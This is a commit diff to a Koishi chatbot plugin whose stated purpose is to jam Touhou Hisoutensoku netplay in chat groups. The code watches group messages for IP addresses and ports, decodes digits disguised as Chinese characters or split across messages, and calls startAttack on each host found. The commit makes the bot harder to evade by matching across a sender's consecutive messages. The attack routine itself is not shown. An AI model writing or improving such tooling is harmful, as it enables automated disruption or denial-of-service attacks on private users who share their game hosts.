Commit eba8d3b3 authored by nanahira's avatar nanahira

improve

parent 33f56956
{
"name": "koishi-plugin-hisoutensoku-jammer",
"version": "1.1.9",
"version": "1.1.10",
"description": "A Koishi Plugin jamming hisoutensoku plays in group.",
"main": "dist/index.js",
"dependencies": {
......
import type { Context } from "koishi-core";
import _ from "lodash";
import _, { last } from "lodash";
import "source-map-support/register";
import type { Logger } from "koishi-utils";
......@@ -56,6 +56,7 @@ const chineseCharacterList = [
class HisoutensokuJammer {
log: Logger;
targetCtx: Context;
lastMessageMap = new Map<string, string>();
constructor(private ctx: Context, private config: HisoutensokuJammerConfig) {
this.targetCtx = config.target(ctx);
this.log = ctx.logger("hisoutensoku-jammer");
......@@ -63,30 +64,39 @@ class HisoutensokuJammer {
apply() {
this.targetCtx.middleware(async (session, next) => {
const sender = session.userId;
const message = session.content;
this.handleMessage(message).then();
this.handleMessage(message, sender).then();
return next();
});
}
async handleMessage(message: string) {
async handleMessage(message: string, sender: string) {
let realMessage = message.trim().split('\n').join(' ');
for (let chineseCharacter of chineseCharacterList) {
realMessage = realMessage.replace(chineseCharacter.characterRegExp, chineseCharacter.value)
}
const messageMatch: RegExpMatchArray = realMessage.match(
/([1-2]? ?\d? ?\d ?)(([^\d][1-2]?\d{1,2}){3}).+?([1-6] ?\d ?\d ?\d ?\d)/g
const lastMessage = this.lastMessageMap.get(sender);
this.lastMessageMap.set(sender, realMessage);
let messageMatch: RegExpMatchArray = realMessage.match(
/([1-2]? *\d? *\d *)(([^\d][1-2]?\d{1,2}){3}).+?([1-6] *\d *\d *\d *\d)/g
);
if (!messageMatch && lastMessage) {
const combinedMessage = `${lastMessage} ${realMessage}`;
messageMatch = combinedMessage.match(
/([1-2]? *\d? *\d *)(([^\d][1-2]?\d{1,2}){3}).+?([1-6] *\d *\d *\d *\d)/g
);
}
if (!messageMatch) {
return;
}
const attackPromises = messageMatch.map((pattern) => {
const patternMatch = pattern.match(
/([1-2]? ?\d? ?\d ?)(([^\d][1-2]?\d{1,2}){3}).+?([1-6] ?\d ?\d ?\d ?\d)/
/([1-2]? *\d? *\d *)(([^\d][1-2]?\d{1,2}){3}).+?([1-6] *\d *\d *\d *\d)/
);
const firstDigit = patternMatch[1].replace(/ /g, '');
const firstDigit = patternMatch[1].replace(/ +/g, '');
const address = `${firstDigit}.${patternMatch[2].slice(1).split(/[^\d]/).join(".")}`;
const port = parseInt(patternMatch[4].replace(/ /g, ''));
const port = parseInt(patternMatch[4].replace(/ +/g, ''));
return this.startAttack(address, port);
});
const results: boolean[] = await Promise.all(attackPromises);
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment